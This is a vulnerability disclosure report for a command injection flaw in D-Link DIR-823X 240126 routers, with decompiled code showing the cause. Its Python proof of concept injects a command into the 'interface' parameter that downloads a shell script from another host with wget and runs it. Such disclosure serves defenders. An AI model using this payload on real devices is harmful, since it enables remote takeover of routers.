CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "interface" in /goform/set_static_route_table through a POST request.

PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_static_route_table?
modmun=1&interface=`wget${IFS}-
P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}+x${IF
S}/shell.sh;/shell.sh`&destip=0.0.0.0&netmask=255.255.255.0&gatewa
y=0.0.0.0&metric=1&set_flag=0"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
```

```
print(request)
s.send(request.encode('utf-8'))
response = s.recv(1024)

print(response)
s.close()
```

Cause Analysis

The WebsGetvar function accepts external data and it enters do_system execution, resulting in a command execution vulnerability.

```
  v3 = WebsGetvar(a1, (__int64)"interface", (__int64)"");
  v4 = WebsGetvar(a1, (__int64)"destip", (__int64)"");
  v5 = WebsGetvar(a1, (__int64)"netmask", (__int64)"");
  v6 = WebsGetvar(a1, (__int64)"gateway", (__int64)"");
  v7 = WebsGetvar(a1, (__int64)"metric", (__int64)"");
  v8 = WebsGetvar(a1, (__int64)"set_flag", (__int64)"0");
  if ( *v2 && *v3 && *v4 && *v5 && *v6 )
  {
    p_inp = &inp;
    v10 = &v17;
    inet_aton(v4, &inp);
    inet_aton(v5, &v17);
    v11 = (struct in_addr *)&v18;
    if ( &v18 >= (__int64 *)&inp || &inp >= (struct in_addr *)&v18 + 1 )
      goto LABEL_9;
    while ( 1 )
    {
      __break(0x3E8u);
LABEL_9:
      if ( v11 > p_inp && v11 < ++p_inp )
        continue;
      LODWORD(v18) = inp;
      v11 = (struct in_addr *)&v19;
      if ( &v19 >= (__int64 *)v10 || v10 >= (struct in_addr *)&v19 + 1 )
      {
        if ( &v19 <= (__int64 *)v10 )
          break;
        if ( &v19 >= (__int64 *)++v10 )
          break;
      }
    }
    LODWORD(v19) = v17;
    if ( (v18 & ~v19) != 0 )
    {
      v13 = 2;
    }
    else
    {
      sub_412BE8("goahead.@route[0].numentrys", nptr, 4LL, "");
      v12 = atoi(nptr);
      if ( atoi(v2) == -1 )
        system("uci add network route");
      else
        v12 = atoi(v2);
      snprintf(s, 0x40uLL, "network.@route[%d].interface", v12);
      do system(s, v3);
```

Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.